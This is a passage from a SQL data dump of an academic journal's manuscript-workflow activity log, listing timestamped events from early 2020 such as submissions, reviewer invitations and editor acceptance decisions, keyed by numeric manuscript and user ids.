Reviewer',3192,'Publisher',75),(24664,'2020-01-31 16:47:25','Publisher has Invited Reviewer',3192,'Publisher',75),(24665,'2020-01-31 16:48:00','Publisher has Invited Reviewer',3266,'Publisher',75),(24666,'2020-01-31 16:48:02','Publisher has Invited Reviewer',3266,'Publisher',75),(24674,'2020-01-31 23:42:33','Editor has been Revise (Notify Author) article',3256,'Editor',1291),(24675,'2020-01-31 23:43:44','Editor has been Revise (Notify Author) article',3126,'Editor',1291),(24676,'2020-01-31 23:44:12','Editor has been Revise (Notify Author) article',2887,'Editor',1291),(24691,'2020-02-01 09:52:11','Publisher has Invited Reviewer',3252,'Publisher',984),(24699,'2020-02-02 00:49:32','Manuscript Submitted by Author using Submission form',3301,'Author',4339),(24705,'2020-02-03 09:43:59','Publisher has been Assigned Editor',3301,'Publisher',274),(24706,'2020-02-03 09:53:46','Editor has been Editor Decision Accepted article',2887,'Editor',1291),(24708,'2020-02-03 09:54:50','Editor has been Editor Decision Accepted article',3126,'Editor',1291),(24710,'2020-02-03 09:57:09','Editor has been Editor Decision Accepted article',3256,'Editor',1291),(24718,'2020-02-03 10:18:48','Publisher has Invited Reviewer',3301,'Publisher',274),(24741,'2020-02-03 13:59:00','Editor has Accepted to review Manuscript',3259,'Editor',1343),(24742,'2020-02-03 13:59:25','Editor has been Revise (Notify Author) article',3259,'Editor',1343),(24743,'2020-02-03 14:01:06','Publisher : Notified Author',3259,'Publisher',85),(24803,'2020-02-03 21:45:52','Manuscript has been Revised',3259,'Author',4284),(24804,'2020-02-03 21:48:48','Manuscript has been Revised',3259,'Author',4284),(24805,'2020-02-03 21:52:56','Author sent Email',3259,'Author',4284),(24818,'2020-02-04 09:50:41','Publisher has been Assigned Editor',3293,'Publisher',48),(24821,'2020-02-04 10:07:26','Publisher : Notified Editor',3259,'Publisher',85),(24831,'2020-02-04 13:10:57','Publisher has Invited Reviewer',3293,'Publisher',48),(24832,'2020-02-04 13:10:58','Publisher has Invited Reviewer',3293,'Publisher',48),(24884,'2020-02-04 17:02:27','Publisher : Notified Author',2988,'Publisher',75),(24887,'2020-02-04 17:12:15','Publisher : Notified Author',3122,'Publisher',75),(24891,'2020-02-04 17:13:09','Publisher has been Accepted Articles  article',630,'Publisher',75),(24927,'2020-02-05 11:23:27','Manuscript Submitted by Publisher',3322,'Publisher',48),(24928,'2020-02-05 11:23:36','Publisher has been Assigned Editor',3322,'Publisher',48),(24980,'2020-02-05 16:49:28','Editor has been Editor Decision Accepted article',3259,'Editor',1343),(24981,'2020-02-05 16:50:12','Publisher: Accept Notification has been sent to Author',3259,'Publisher',85),(25039,'2020-02-06 14:54:14','Editor has Accepted to review Manuscript',2943,'Editor',189),(25040,'2020-02-06 14:54:21','Editor has been Editor Decision Accepted article',2943,'Editor',189),(25041,'2020-02-06 14:54:29','Editor has Accepted to review Manuscript',2842,'Editor',189),(25042,'2020-02-06 14:54:37','Editor has been Editor Decision Accepted article',2842,'Editor',189),(25044,'2020-02-06 15:10:59','Reviewer has submitted comments',2943,'Reviewer',5467),(25068,'2020-02-06 18:13:24','Author sent Email',2727,'Author',3312),(25071,'2020-02-07 00:05:55','Manuscript Submitted by Author using Submission form',3330,'Author',4373),(25092,'2020-02-07 10:23:22','Publisher : Notified Editor',2988,'Publisher',75),(25096,'2020-02-07 10:52:41','Publisher has been Assigned Editor',3330,'Publisher',48),(25097,'2020-02-07 10:56:39','Manuscript Submitted by Publisher',3333,'Publisher',48),(25098,'2020-02-07 10:56:46','Publisher has been Assigned Editor',3333,'Publisher',48),(25099,'2020-02-07 11:00:03','Editor has been Editor Decision Accepted article',2988,'Editor',160),(25100,'2020-02-07 11:06:32','Editor has been Revise (Notify Author) article',3122,'Editor',160),(25101,'2020-02-07 12:02:43','Editor has been Editor Decision Accepted article',2988,'Editor',160),(25102,'2020-02-07 12:04:17','Publisher: Accept Notification has been sent to Author',2988,'Publisher',75),(25117,'2020-02-07 13:48:49','Reviewer has submitted comments',2842,'Reviewer',903),(25118,'2020-02-07 13:49:19','Publisher has been Accepted Articles  article',2943,'Publisher',48),(25119,'2020-02-07 13:49:28','Publisher has been Accepted Articles  article',2842,'Publisher',48),(25121,'2020-02-07 14:13:14','Manuscript Submitted by Author',3336,'Author',4356),(25184,'2020-02-07 17:45:12','Publisher has Invited Reviewer',3333,'Publisher',48),(25185,'2020-02-07 17:45:25','Publisher has Invited Reviewer',3330,'Publisher',48),(25186,'2020-02-07 17:45:26','Publisher has Invited Reviewer',3330,'Publisher',48),(25187,'2020-02-07 17:45:41','Publisher has Invited Reviewer',3322,'Publisher',48),(25188,'2020-02-07 17:48:01','Manuscript Submitted by Author',3339,'Author',4381),(25219,'2020-02-09 23:42:03','Editor has Accepted to review Manuscript',3333,'Editor',195),(25220,'2020-02-09 23:43:00','Editor has Invited Reviewer',3333,'Editor',195),(25221,'2020-02-09 23:43:01','Editor has Invited Reviewer',3333,'Editor',195),(25222,'2020-02-09 23:43:02','Editor has Invited Reviewer',3333,'Editor',195),(25223,'2020-02-09 23:43:03','Editor has Invited Reviewer',3333,'Editor',195),(25224,'2020-02-09 23:43:35','Editor has Invited Reviewer',3333,'Editor',195),(25225,'2020-02-09 23:43:36','Editor has Invited Reviewer',3333,'Editor',195),(25226,'2020-02-09 23:44:04','Editor has Invited Reviewer',3333,'Editor',195),(25227,'2020-02-09 23:44:05','Editor has Invited Reviewer',3333,'Editor',195),(25228,'2020-02-09 23:44:06','Editor has Invited Reviewer',3333,'Editor',195),(25229,'2020-02-09 23:44:36','Editor has Accepted to review Manuscript',3330,'Editor',195),(25230,'2020-02-09 23:45:10','Editor has Invited Reviewer',3330,'Editor',195),(25231,'2020-02-09 23:45:11','Editor has Invited Reviewer',3330,'Editor',195),(25232,'2020-02-09 23:45:43','Editor has Invited Reviewer',3330,'Editor',195),(25233,'2020-02-09 23:45:44','Editor has Invited Reviewer',3330,'Editor',195),(25234,'2020-02-09 23:45:45','Editor has Invited Reviewer',3330,'Editor',195),(25235,'2020-02-09 23:46:11','Editor has Declined to review Manuscript',3322,'Editor',195),(25242,'2020-02-09 23:49:44','Editor has Invited Reviewer',3249,'Editor',195),(25243,'2020-02-09 23:49:45','Editor has Invited Reviewer',3249,'Editor',195),(25244,'2020-02-09 23:50:06','Editor has Invited Reviewer',3249,'Editor',195),(25245,'2020-02-09 23:50:07','Editor has Invited Reviewer',3249,'Editor',195),(25246,'2020-02-09 23:50:08','Editor has Invited Reviewer',3249,'Editor',195),(25247,'2020-02-09 23:50:09','Editor has Invited Reviewer',3249,'Editor',195),(25248,'2020-02-09 23:51:00','Editor has Invited Reviewer',3220,'Editor',195),(25249,'2020-02-09 23:51:22','Editor has Invited Reviewer',3220,'Editor',195),(25250,'2020-02-09 23:51:23','Editor has Invited Reviewer',3220,'Editor',195),(25251,'2020-02-09 23:51:25','Editor has Invited Reviewer',3220,'Editor',195),(25252,'2020-02-09 23:52:02','Editor has Invited Reviewer',3220,'Editor',195),(25253,'2020-02-09 23:52:03','Editor has Invited Reviewer',3220,'Editor',195),(25254,'2020-02-09 23:52:04','Editor has Invited Reviewer',3220,'Editor',195),(25255,'2020-02-09 23:52:05','Editor has Invited Reviewer',3220,'Editor',195),(25256,'2020-02-09 23:54:48','Editor has Invited Reviewer',3219,'Editor',195),(25257,'2020-02-09 23:54:50','Editor has Invited Reviewer',3219,'Editor',195),(25258,'2020-02-09 23:54:51','Editor has Invited Reviewer',3219,'Editor',195),(25259,'2020-02-09 23:55:30','Editor has Invited Reviewer',3219,'Editor',195),(25260,'2020-02-09 23:55:31','Editor has Invited Reviewer',3219,'Editor',195),(25261,'2020-02-09 23:55:32','Editor has Invited Reviewer',3219,'Editor',195),(25262,'2020-02-09 23:55:33','Editor has Invited Reviewer',3219,'Editor',195),(25263,'2020-02-09 23:56:56','Editor has Invited Reviewer',2272,'Editor',195),(25264,'2020-02-09 23:56:57','Editor has Invited Reviewer',2272,'Editor',195),(25265,'2020-02-09 23:56:59','Editor has Invited Reviewer',2272,'Editor',195),(25266,'2020-02-10 01:45:27','Author sent Email',3178,'Author',4159),(25286,'2020-02-10 10:35:41','Publisher has been Accepted Articles  article',3185,'Publisher',319),(25359,'2020-02-10 14:30:23','Publisher has been Assigned Editor',3339,'Publisher',48),(25378,'2020-02-10 14:59:55','Publisher has Invited Reviewer',2759,'Publisher',85),(25379,'2020-02-10 15:00:53','Publisher has Invited Reviewer',2759,'Publisher',85),(25380,'2020-02-10 15:00:54','Publisher has Invited Reviewer',2759,'Publisher',85),(25381,'2020-02-10 15:00:56','Publisher has Invited Reviewer',2759,'Publisher',85),(25394,'2020-02-10 16:57:48','Publisher has been Assigned Editor',3336,'Publisher',984),(25424,'2020-02-10 20:17:27','Manuscript Submitted by Author',3369,'Author',3534),(25427,'2020-02-10 23:44:17','Reviewer has submitted comments',2759,'Reviewer',10962),(25430,'2020-02-11 07:21:05','Manuscript Submitted by Author using Submission form',3371,'Author',4415),(25518,'2020-02-11 14:19:56','Publisher has Invited Reviewer',2723,'Publisher',84),(25519,'2020-02-11 14:19:58','Publisher has Invited Reviewer',2723,'Publisher',84),(25520,'2020-02-11 14:19:59','Publisher has Invited Reviewer',2723,'Publisher',84),(25521,'2020-02-11 14:20:00','Publisher has Invited Reviewer',2723,'Publisher',84),(25522,'2020-02-11 14:20:06','Publisher has Invited Reviewer',2723,'Publisher',84),(25523,'2020-02-11 14:20:07','Publisher has Invited Reviewer',2723,'Publisher',84),(25524,'2020-02-11 14:20:08','Publisher has Invited Reviewer',2723,'Publisher',84),(25525,'2020-02-11 14:20:09','Publisher has Invited Reviewer',2723,'Publisher',84),(25526,'2020-02-11 14:20:10','Publisher has Invited Reviewer',2723,'Publisher',84),(25534,'2020-02-11 15:46:05','Publisher has Invited Reviewer',3336,'Publisher',984),(25535,'2020-02-11 15:46:05','Publisher has Invited Reviewer',3336,'Publisher',984),(25536,'2020-02-11 15:46:06','Publisher has Invited Reviewer',3336,'Publisher',984),(25537,'2020-02-11 15:46:07','Publisher has Invited Reviewer',3336,'Publisher',984),(25538,'2020-02-11 15:46:07','Publisher has Invited Reviewer',3336,'Publisher',984),(25539,'2020-02-11 15:46:08','Publisher has Invited Reviewer',3336,'Publisher',984),(25551,'2020-02-12 10:01:47','Publisher : Notified Editor',2759,'Publisher',85),(25552,'2020-02-12 10:02:56','Editor has Accepted to review Manuscript',2759,'Editor',204),(25553,'2020-02-12 10:03:23','Editor has been Revise (Notify Author) article',2759,'Editor',204),(25556,'2020-02-12 10:07:03','Publisher : Notified Author',2759,'Publisher',85),(25557,'2020-02-12 10:15:21','Publisher has Invited Reviewer',2756,'Publisher',85),(25558,'2020-02-12 10:15:23','Publisher has Invited Reviewer',2756,'Publisher',85),(25559,'2020-02-12 10:15:24','Publisher has Invited Reviewer',2756,'Publisher',85),(25560,'2020-02-12 10:16:20','Publisher has Invited Reviewer',3177,'Publisher',85),(25561,'2020-02-12 10:16:21','Publisher has Invited Reviewer',3177,'Publisher',85),(25562,'2020-02-12 10:16:22','Publisher has Invited Reviewer',3177,'Publisher',85),(25563,'2020-02-12 10:16:23','Publisher has Invited Reviewer',3177,'Publisher',85),(25564,'2020-02-12 10:16:24','Publisher has Invited Reviewer',3177,'Publisher',85),(25565,'2020-02-12 10:16:26','Publisher has Invited Reviewer',3177,'Publisher',85),(25566,'2020-02-12 10:16:27','Publisher has Invited Reviewer',3177,'Publisher',85),(25567,'2020-02-12 10:16:28','Publisher has Invited Reviewer',3177,'Publisher',85),(25568,'2020-02-12 10:17:24','Publisher has Invited Reviewer',2838,'Publisher',85),(25569,'2020-02-12 10:17:26','Publisher has Invited Reviewer',2838,'Publisher',85),(25570,'2020-02-12 10:17:27','Publisher has Invited Reviewer',2838,'Publisher',85),(25571,'2020-02-12 10:17:28','Publisher has Invited Reviewer',2838,'Publisher',85),(25572,'2020-02-12 10:17:29','Publisher has Invited Reviewer',2838,'Publisher',85),(25573,'2020-02-12 10:17:30','Publisher has Invited Reviewer',2838,'Publisher',85),(25574,'2020-02-12 10:17:32','Publisher has Invited Reviewer',2838,'Publisher',85),(25575,'2020-02-12 10:17:58','Publisher has Invited Reviewer',2838,'Publisher',85),(25576,'2020-02-12 10:17:59','Publisher has Invited Reviewer',2838,'Publisher',85),(25577,'2020-02-12 10:36:21','Publisher has been Assigned Editor',3371,'Publisher',972),(25578,'2020-02-12 10:38:33','Manuscript Submitted by Publisher',3378,'Publisher',972),(25580,'2020-02-12 10:38:56','Publisher has Invited Reviewer',3371,'Publisher',972),(25581,'2020-02-12 10:39:07','Publisher has Invited Reviewer',3371,'Publisher',972),(25590,'2020-02-12 11:26:15','Manuscript Submitted by Author',3381,'Author',3889),(25593,'2020-02-12 14:25:12','Manuscript Submitted by Author',3383,'Author',4429),(25602,'2020-02-12 15:23:52','Publisher has been Assigned Editor',3381,'Publisher',274),(25618,'2020-02-12 16:43:12','Publisher has been Assigned Editor',3383,'Publisher',248),(25619,'2020-02-12 16:44:44','Publisher has Invited Reviewer',3125,'Publisher',248),(25620,'2020-02-12 16:44:45','Publisher has Invited Reviewer',3125,'Publisher',248),(25621,'2020-02-12 16:44:47','Publisher has Invited Reviewer',3125,'Publisher',248),(25622,'2020-02-12 16:45:16','Publisher has Invited Reviewer',3237,'Publisher',248),(25623,'2020-02-12 16:45:17','Publisher has Invited Reviewer',3237,'Publisher',248),(25624,'2020-02-12 16:45:19','Publisher has Invited Reviewer',3237,'Publisher',248),(25625,'2020-02-12 16:45:53','Publisher has Invited Reviewer',3261,'Publisher',248),(25626,'2020-02-12 16:45:54','Publisher has Invited Reviewer',3261,'Publisher',248),(25627,'2020-02-12 16:45:56','Publisher has Invited Reviewer',3261,'Publisher',248),(25628,'2020-02-12 16:45:57','Publisher has Invited Reviewer',3261,'Publisher',248),(25629,'2020-02-12 16:45:58','Publisher has Invited Reviewer',3261,'Publisher',248),(25630,'2020-02-12 16:46:24','Publisher has Invited Reviewer',3383,'Publisher',248),(25631,'2020-02-12 16:46:25','Publisher has Invited Reviewer',3383,'Publisher',248),(25632,'2020-02-12 16:46:26','Publisher has Invited Reviewer',3383,'Publisher',248),(25633,'2020-02-12 16:46:26','Reviewer has submitted comments',3219,'Reviewer',2238),(25634,'2020-02-12 16:46:32','Publisher has Invited Reviewer',3383,'Publisher',248),(25635,'2020-02-12 16:48:43','Editor has Accepted to review Manuscript',3282,'Editor',191),(25636,'2020-02-12 16:48:53','Editor has been Editor Decision Accepted article',3282,'Editor',191),(25637,'2020-02-12 16:51:27','Publisher: Accept Notification has been sent to Author',3282,'Publisher',48),(25644,'2020-02-12 21:58:42','Reviewer has submitted comments',3336,'Reviewer',10967),(25646,'2020-02-13 00:37:48','Reviewer has submitted comments',3177,'Reviewer',10684),(25647,'2020-02-13 00:40:04','Reviewer has submitted comments',3126,'Reviewer',10684),(25648,'2020-02-13 01:08:16','Reviewer has submitted comments',2756,'Reviewer',10962),(25659,'2020-02-13 09:44:57','Manuscript Submitted by Author using Submission form',3388,'Author',4435),(25687,'2020-02-13 14:47:26','Editor has been Editor Decision Accepted article',2943,'Editor',189),(25688,'2020-02-13 14:47:34','Editor has Accepted to review Manuscript',2474,'Editor',189),(25689,'2020-02-13 14:47:40','Editor has been Editor Decision Accepted article',2474,'Editor',189),(25690,'2020-02-13 14:47:53','Editor has been Editor Decision Accepted article',2842,'Editor',189),(25691,'2020-02-13 14:48:01','Editor has been Editor Decision Accepted article',2582,'Editor',189),(25692,'2020-02-13 14:48:11','Editor has been Editor Decision Accepted article',2474,'Editor',189),(25694,'2020-02-13 15:09:51','Editor has been Editor Decision Accepted article',3330,'Editor',195),(25696,'2020-02-13 15:10:08','Editor has been Editor Decision Accepted article',3249,'Editor',195),(25697,'2020-02-13 15:10:17','Editor has been Editor Decision Accepted article',2594,'Editor',195),(25698,'2020-02-13 15:10:26','Editor has been Editor Decision Accepted article',2272,'Editor',195),(25699,'2020-02-13 15:10:43','Editor has been Editor Decision Accepted article',2464,'Editor',195),(25700,'2020-02-13 15:13:49','Manuscript Submitted by Author using Submission form',3390,'Author',4437),(25701,'2020-02-13 15:16:54','Publisher has been Assigned Editor',3388,'Publisher',48),(25737,'2020-02-14 18:22:23','Manuscript Submitted by Author using Submission form',3400,'Author',4451),(25742,'2020-02-15 03:11:39','Manuscript Submitted by Author using Submission form',3403,'Author',4457),(25747,'2020-02-15 10:50:59','Publisher has been Assigned Editor',3390,'Publisher',248),(25748,'2020-02-15 10:51:54','Publisher has Invited Reviewer',3390,'Publisher',248),(25749,'2020-02-15 10:51:55','Publisher has Invited Reviewer',3390,'Publisher',248),(25750,'2020-02-15 10:51:55','Publisher has Invited Reviewer',3390,'Publisher',248),(25751,'2020-02-15 10:51:57','Publisher has Invited Reviewer',3390,'Publisher',248),(25752,'2020-02-15 10:51:58','Publisher has Invited Reviewer',3390,'Publisher',248),(25766,'2020-02-16 07:38:08','Manuscript Submitted by Author',3409,'Author',496),(25787,'2020-02-17 10:41:59','Publisher has been Assigned Editor',3403,'Publisher',48),(25800,'2020-02-17 11:31:38','Manuscript Submitted by Publisher',3414,'Publisher',972),(25807,'2020-02-17 13:07:37','Publisher has Invited Reviewer',3339,'Publisher',48),(25808,'2020-02-17 13:07:38','Publisher has Invited Reviewer',3339,'Publisher',48),(25809,'2020-02-17 13:07:39','Publisher has Invited Reviewer',3339,'Publisher',48),(25810,'2020-02-17 13:07:51','Publisher has Invited Reviewer',3403,'Publisher',48),(25811,'2020-02-17 13:07:52','Publisher has Invited Reviewer',3403,'Publisher',48),(25812,'2020-02-17 13:07:53','Publisher has Invited Reviewer',3403,'Publisher',48),(25813,'2020-02-17 13:08:08','Publisher has Invited Reviewer',3388,'Publisher',48),(25814,'2020-02-17 13:08:09','Publisher has Invited Reviewer',3388,'Publisher',48),(25815,'2020-02-17 13:08:10','Publisher has Invited Reviewer',3388,'Publisher',48),(25816,'2020-02-17 13:17:20','Publisher has been Assigned Editor',3414,'Publisher',972),(25817,'2020-02-17 13:17:55','Publisher has Invited Reviewer',3414,'Publisher',972),(25818,'2020-02-17 13:17:56','Publisher has Invited Reviewer',3414,'Publisher',972),(25819,'2020-02-17 13:17:57','Publisher has Invited Reviewer',3414,'Publisher',972),(25820,'2020-02-17 13:18:05','Publisher has Invited Reviewer',3414,'Publisher',972),(25821,'2020-02-17 13:18:39','Publisher has been Assigned Editor',3378,'Publisher',972),(25822,'2020-02-17 13:19:24','Manuscript Updated',3378,'Publisher',972),(25829,'2020-02-17 15:04:02','Publisher has been Assigned Editor',3409,'Publisher',48),(25830,'2020-02-17 15:13:31','Publisher has Invited Reviewer',3409,'Publisher',48),(25832,'2020-02-17 15:13:44','Publisher has Invited Reviewer',3409,'Publisher',48),(25833,'2020-02-17 15:13:45','Publisher has Invited Reviewer',3409,'Publisher',48),(25834,'2020-02-17 15:13:46','Publisher has Invited Reviewer',3409,'Publisher',48),(25837,'2020-02-17 17:33:42','Reviewer has been sent email to Publisher',3388,'Reviewer',10975),(25838,'2020-02-17 18:15:43','Reviewer has submitted comments',3249,'Reviewer',8795),(25839,'2020-02-17 18:28:27','Publisher : Notified Editor',3177,'Publisher',85),(25840,'2020-02-17 18:28:58','Publisher : Notified Editor',2756,'Publisher',85),(25841,'2020-02-17 20:43:42','Author sent Email',3378,'Author',4415),(25850,'2020-02-18 09:33:18','Publisher : Notified Editor',3336,'Publisher',984),(25883,'2020-02-18 14:47:14','Reviewer has submitted comments',3252,'Reviewer',11126),(25884,'2020-02-18 15:39:36','Editor has Accepted to review Manuscript',2876,'Editor',190),(25885,'2020-02-18 15:39:43','Editor has been Editor Decision Accepted article',2876,'Editor',190),(25886,'2020-02-18 15:39:52','Editor has Accepted to review Manuscript',2681,'Editor',190),(25887,'2020-02-18 15:40:02','Editor has been Editor Decision Accepted article',2681,'Editor',190),(25888,'2020-02-18 15:40:17','Editor has Accepted to review Manuscript',3033,'Editor',190),(25889,'2020-02-18 15:40:26','Editor has been Editor Decision Accepted article',3033,'Editor',190),(25890,'2020-02-18 15:40:42','Editor has been Editor Decision Accepted article',3033,'Editor',190),(25895,'2020-02-18 16:53:05','Reviewer has submitted comments',3383,'Reviewer',5404),(25896,'2020-02-18 16:53:42','Publisher : Notified Editor',3383,'Publisher',248),(25897,'2020-02-18 16:54:00','Publisher : Notified Editor',3383,'Publisher',248),(25898,'2020-02-18 16:54:22','Editor has Accepted to review Manuscript',3383,'Editor',358),(25899,'2020-02-18 16:54:33','Editor has been Editor Decision Accepted article',3383,'Editor',358),(25900,'2020-02-18 16:54:59','Publisher: Accept Notification has been sent to Author',3383,'Publisher',248),(25910,'2020-02-19 09:19:29','Publisher has Invited Reviewer',3409,'Publisher',48),(25911,'2020-02-19 09:19:30','Publisher has Invited Reviewer',3409,'Publisher',48),(25912,'2020-02-19 09:19:31','Publisher has Invited Reviewer',3409,'Publisher',48),(25913,'2020-02-19 09:19:32','Publisher has Invited Reviewer',3409,'Publisher',48),(25914,'2020-02-19 09:19:33','Publisher has Invited Reviewer',3409,'Publisher',48),(25915,'2020-02-19 09:20:15','Publisher has Invited Reviewer',3403,'Publisher',48),(25916,'2020-02-19 09:20:17','Publisher has Invited Reviewer',3403,'Publisher',48),(25922,'2020-02-19 10:05:10','Publisher has Invited Reviewer',3258,'Publisher',645),(25923,'2020-02-19 10:05:19','Publisher has Invited Reviewer',3258,'Publisher',645),(25924,'2020-02-19 10:05:30','Publisher has Invited Reviewer',3258,'Publisher',645),(25925,'2020-02-19 10:05:31','Publisher has Invited Reviewer',3258,'Publisher',645),(25926,'2020-02-19 10:05:32','Publisher has Invited Reviewer',3258,'Publisher',645),(25927,'2020-02-19 10:05:33','Publisher has Invited Reviewer',3258,'Publisher',645),(25928,'2020-02-19 10:05:34','Publisher has Invited Reviewer',3258,'Publisher',645),(25939,'2020-02-19 10:37:20','Publisher has been Accepted Articles  article',3072,'Publisher',248),(25947,'2020-02-19 11:54:35','Editor has Accepted to review Manuscript',3177,'Editor',1251),(25948,'2020-02-19 11:55:07','Editor has been Editor Decision Accepted article',3177,'Editor',1251),(25949,'2020-02-19 11:55:14','Editor has Accepted to review Manuscript',2756,'Editor',1251),(25950,'2020-02-19 11:55:25','Editor has been Editor Decision Accepted article',2756,'Editor',1251),(25953,'2020-02-19 13:45:08','Editor has Accepted to review Manuscript',3388,'Editor',195),(25954,'2020-02-19 13:45:23','Editor has been Editor Decision Accepted article',3388,'Editor',195),(25955,'2020-02-19 13:45:29','Editor has Accepted to review Manuscript',3339,'Editor',195),(25956,'2020-02-19 13:45:38','Editor has been Editor Decision Accepted article',3339,'Editor',195),(25957,'2020-02-19 13:45:50','Editor has been Editor Decision Accepted article',3333,'Editor',195),(25958,'2020-02-19 13:46:04','Editor has been Editor Decision Accepted article',3339,'Editor',195),(25959,'2020-02-19 13:46:24','Editor has been Editor Decision Accepted article',3219,'Editor',195),(25964,'2020-02-19 18:07:10','Publisher: Accept Notification has been sent to Author',3177,'Publisher',85),(25972,'2020-02-20 01:21:20','Manuscript Submitted by Author using Submission form',3433,'Author',4493),(25973,'2020-02-20 03:06:49','Reviewer has submitted comments',3414,'Reviewer',10393),(25977,'2020-02-20 10:56:48','Reviewer has submitted comments',3258,'Reviewer',8796),(25978,'2020-02-20 10:57:30','Publisher : Notified Editor',3258,'Publisher',645),(25981,'2020-02-20 11:30:37','Publisher: Accept Notification has been sent to Author',3178,'Publisher',376),(25990,'2020-02-20 13:21:44','Reviewer has submitted comments',3390,'Reviewer',9050),(25991,'2020-02-20 13:22:17','Publisher : Notified Editor',3390,'Publisher',248),(25992,'2020-02-20 13:22:42','Editor has Accepted to review Manuscript',3390,'Editor',358),(25993,'2020-02-20 13:22:52','Editor has been Editor Decision Accepted article',3390,'Editor',358),(25994,'2020-02-20 13:26:01','Editor has been Editor Decision Accepted article',3390,'Editor',358),(25996,'2020-02-20 13:26:24','Publisher: Accept Notification has been sent to Author',3390,'Publisher',248),(25997,'2020-02-20 13:35:26','Publisher has Invited Reviewer',3266,'Publisher',75),(25998,'2020-02-20 13:35:27','Publisher has Invited Reviewer',3266,'Publisher',75),(25999,'2020-02-20 13:35:45','Publisher has Invited Reviewer',3209,'Publisher',75),(26000,'2020-02-20 13:35:46','Publisher has Invited Reviewer',3209,'Publisher',75),(26001,'2020-02-20 13:35:47','Publisher has Invited Reviewer',3209,'Publisher',75),(26002,'2020-02-20 13:36:09','Publisher has Invited Reviewer',3192,'Publisher',75),(26003,'2020-02-20 13:36:10','Publisher has Invited Reviewer',3192,'Publisher',75),(26004,'2020-02-20 13:36:11','Publisher has Invited Reviewer',3192,'Publisher',75),(26005,'2020-02-20 13:36:30','Publisher has Invited Reviewer',3154,'Publisher',75),(26006,'2020-02-20 13:36:31','Publisher has Invited Reviewer',3154,'Publisher',75),(26007,'2020-02-20 13:36:32','Publisher has Invited Reviewer',3154,'Publisher',75),(26008,'2020-02-20 13:37:38','Publisher : Notified Author',3122,'Publisher',75),(26042,'2020-02-21 01:27:34','Manuscript has been Revised',2759,'Author',3570),(26043,'2020-02-21 01:29:58','Author sent Email',2759,'Author',3570),(26045,'2020-02-21 03:40:27','Reviewer has submitted comments',3409,'Reviewer',11300),(26051,'2020-02-21 08:42:39','Manuscript Submitted by Author using Submission form',3447,'Author',4509),(26072,'2020-02-21 22:47:42','Reviewer has submitted comments',3371,'Reviewer',10393),(26081,'2020-02-22 11:07:25','Editor has Accepted to review Manuscript',3258,'Editor',633),(26082,'2020-02-22 11:07:53','Editor has been Editor Decision Accepted article',3258,'Editor',633),(26083,'2020-02-22 11:09:12','Publisher: Accept Notification has been sent to Author',3258,'Publisher',645),(26097,'2020-02-22 17:14:41','Reviewer has submitted comments',3125,'Reviewer',9107),(26098,'2020-02-23 02:52:22','Author sent Email',3154,'Author',4125),(26100,'2020-02-23 13:37:08','Manuscript Submitted by Author using Submission form',3456,'Author',4523),(26122,'2020-02-24 10:04:50','Manuscript Submitted by Author using Submission form',3460,'Author',4532),(26126,'2020-02-24 10:19:39','Manuscript Submitted by Publisher',3461,'Publisher',48),(26136,'2020-02-24 11:46:40','Publisher : Notified Editor',2759,'Publisher',85),(26142,'2020-02-24 13:21:52','Publisher has been Assigned Editor',3447,'Publisher',75),(26143,'2020-02-24 13:22:13','Publisher has Invited Reviewer',3447,'Publisher',75),(26144,'2020-02-24 13:22:22','Publisher has Invited Reviewer',3447,'Publisher',75),(26145,'2020-02-24 13:22:34','Publisher has Invited Reviewer',3447,'Publisher',75),(26146,'2020-02-24 13:22:35','Publisher has Invited Reviewer',3447,'Publisher',75),(26147,'2020-02-24 13:22:52','Publisher has Invited Reviewer',3447,'Publisher',75),(26164,'2020-02-24 16:42:19','Publisher: Accept Notification has been sent to Author',3258,'Publisher',645),(26169,'2020-02-24 21:59:19','Manuscript Submitted by Author using Submission form',3467,'Author',4540),(26174,'2020-02-25 09:27:44','Publisher has been Assigned Editor',3461,'Publisher',48),(26175,'2020-02-25 09:27:54','Publisher has been Assigned Editor',3460,'Publisher',48),(26177,'2020-02-25 11:25:13','Editor has Accepted to review Manuscript',3183,'Editor',1235),(26178,'2020-02-25 11:25:41','Editor has been Editor Decision Accepted article',3183,'Editor',1235),(26179,'2020-02-25 11:27:00','Publisher has Invited Reviewer',3447,'Publisher',75),(26180,'2020-02-25 11:27:01','Publisher has Invited Reviewer',3447,'Publisher',75),(26181,'2020-02-25 11:27:11','Publisher: Accept Notification has been sent to Author',3183,'Publisher',274),(26182,'2020-02-25 11:30:53','Publisher has been Assigned Editor',3456,'Publisher',248),(26266,'2020-02-25 15:34:10','Editor has Accepted to review Manuscript',3409,'Editor',194),(26267,'2020-02-25 15:34:21','Editor has been Revise (Notify Author) article',3409,'Editor',194),(26268,'2020-02-25 15:35:09','Editor has Accepted to review Manuscript',2416,'Editor',194),(26269,'2020-02-25 15:35:21','Editor has been Editor Decision Accepted article',2416,'Editor',194),(26276,'2020-02-25 17:25:45','Publisher : Notified Author',3409,'Publisher',48),(26277,'2020-02-25 17:29:38','Publisher has Invited Reviewer',3461,'Publisher',48),(26278,'2020-02-25 17:29:39','Publisher has Invited Reviewer',3461,'Publisher',48),(26279,'2020-02-25 17:30:27','Publisher has Invited Reviewer',3460,'Publisher',48),(26280,'2020-02-25 17:30:27','Publisher has Invited Reviewer',3460,'Publisher',48),(26281,'2020-02-25 17:31:09','Publisher has been Withdrawn  article',3026,'Publisher',48),(26282,'2020-02-25 17:31:24','Publisher has been Withdrawn  article',2934,'Publisher',48),(26283,'2020-02-25 17:32:22','Editor has Accepted to review Manuscript',3403,'Editor',195),(26284,'2020-02-25 17:32:29','Editor has been Editor Decision Accepted article',3403,'Editor',195),(26285,'2020-02-25 17:32:53','Publisher: Accept Notification has been sent to Author',3403,'Publisher',48),(26301,'2020-02-25 22:01:12','Reviewer has submitted comments',3409,'Reviewer',11299),(26306,'2020-02-26 07:45:27','Author sent Email',3154,'Author',4125),(26307,'2020-02-26 09:13:00','Publisher : Notified Author',3409,'Publisher',48),(26308,'2020-02-26 09:13:28','Publisher : Notified Author',3409,'Publisher',48),(26310,'2020-02-26 09:53:34','Publisher has Invited Reviewer',3461,'Publisher',48),(26311,'2020-02-26 09:53:34','Publisher has Invited Reviewer',3461,'Publisher',48),(26312,'2020-02-26 09:53:35','Publisher has Invited Reviewer',3461,'Publisher',48),(26313,'2020-02-26 10:07:47','Publisher has been Assigned Editor',3467,'Publisher',75),(26314,'2020-02-26 10:08:00','Publisher has Invited Reviewer',3467,'Publisher',75),(26315,'2020-02-26 10:08:10','Publisher has Invited Reviewer',3467,'Publisher',75),(26316,'2020-02-26 10:08:11','Publisher has Invited Reviewer',3467,'Publisher',75),(26317,'2020-02-26 10:08:20','Publisher has Invited 